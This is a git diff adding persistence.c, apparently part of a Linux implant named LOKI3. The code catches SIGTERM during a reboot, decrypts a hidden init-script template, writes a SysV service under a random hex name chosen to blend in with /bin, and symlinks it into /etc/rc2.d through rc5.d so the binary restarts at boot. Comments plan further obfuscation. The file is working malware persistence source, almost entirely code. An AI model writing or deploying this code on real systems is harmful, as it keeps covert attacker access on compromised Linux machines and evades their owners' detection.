1 files changed, 117 insertions, 0 deletions
diff --git a/persistence.c b/persistence.c
new file mode 100644
index 0000000..3d6a42c
--- /dev/null
+++ b/persistence.c
@@ -0,0 +1,117 @@
+/*
+ * LOKI3
+ *
+ * [ persistence.h ]
+ *
+ *  2019 and beyond Elective Surgery        [dmfr]
+ */
+
+#ifdef PERSISTENCE
+#include "loki.h"
+#include "persistence.h"
+
+
+extern estring S_SYSV_SERVICE;
+
+
+/*
+ * Generate a random string.
+ * Used the character set because it blended in with files in /bin:
+ *  % strings * |grep ABC |sort |uniq -c |sort -n
+ *  ...snip...
+ *      257 0123456789ABCDEF <--- pretty common alphanumeric string.
+ */
+static void random_string(char *dst, size_t len) {
+	char character_set[] = "0123456789ABCDEF";
+
+	while (len--) {
+		*dst++ = character_set[rand() % (sizeof(character_set) - 1)];
+	}
+
+	*dst = '\0';
+}
+
+static void random_string_range(char *dst, size_t lower, size_t upper) {
+	int len;
+
+	len = (rand() % (upper - lower + 1)) + lower;
+	random_string(dst, len);
+}
+
+
+/*
+ * SIGTERM handler. This will be caught when the `reboot` command is
+ * issued, or `kill our_pid_here`.
+ *
+ * This persistence sets up a SysV service when SIGTERM is caught. reboot
+ * and init 6 first attempt to send all process the SIGTERM signal so they
+ * may gracefully exit. We take advantage of this and gracefully exit by
+ * installing persistence.
+ */
+void handle_sigterm(int signo) {
+	/* create init script and symlinks */
+	FILE *fp;
+	char self[PATH_MAX + 1];
+	char service_name[16];
+	char str[8192];
+	char *dbuf;
+	size_t n;
+
+
+	random_string_range(service_name, 4, sizeof(service_name));
+
+	fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this
+	if (fp == NULL) {
+		perror("fopen");
+		return;
+	}
+
+	n = readlink("/proc/self/exe", self, sizeof(self));
+	if (n == -1) {
+		perror("readlink");
+		return;
+	}
+
+	dbuf = decrypt(S_SYSV_SERVICE);
+	snprintf(str, sizeof(str), dbuf,
+			 /* "#!/bin/sh\n" */
+			 /* "### BEGIN INIT INFO\n" */
+			 /* "# Provides: %s\n" */
+			 /* "# Default-Start: 2 3 4 5\n" */
+			 /* "# Default-Stop: 0 1 6\n" */
+			 /* "# Short-Description: %s\n" */
+			 /* "# Description: %s\n" */
+			 /* "### END INIT INFO\n\n" */
+			 /* "case \"$1\" in\n" */
+			 /* "    start)\n" */
+			 /* "        %s &\n" */
+			 /* "        ;;\n" */
+			 /* "esac\n" */
+			 /* "exit 0\n", */
+			 service_name, service_name, service_name, self);
+	destroy(dbuf, S_SYSV_SERVICE.size);
+
+	fputs(str, fp);
+
+	// TODO error checking
+	chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
+	symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these
+	symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY);
+	symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY);
+	symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY);
+
+	fclose(fp);
+}
+
+/*
+ * Remove persistence files and symlinks.
+ */
+void unlink_persistence() {
+	// TODO error checking
+	unlink(INIT_SCRIPT);
+	unlink("/etc/rc2.d/" PRIORITY);
+	unlink("/etc/rc3.d/" PRIORITY);
+	unlink("/etc/rc4.d/" PRIORITY);
+	unlink("/etc/rc5.d/" PRIORITY);
+}
+#endif /* PERSISTENCE */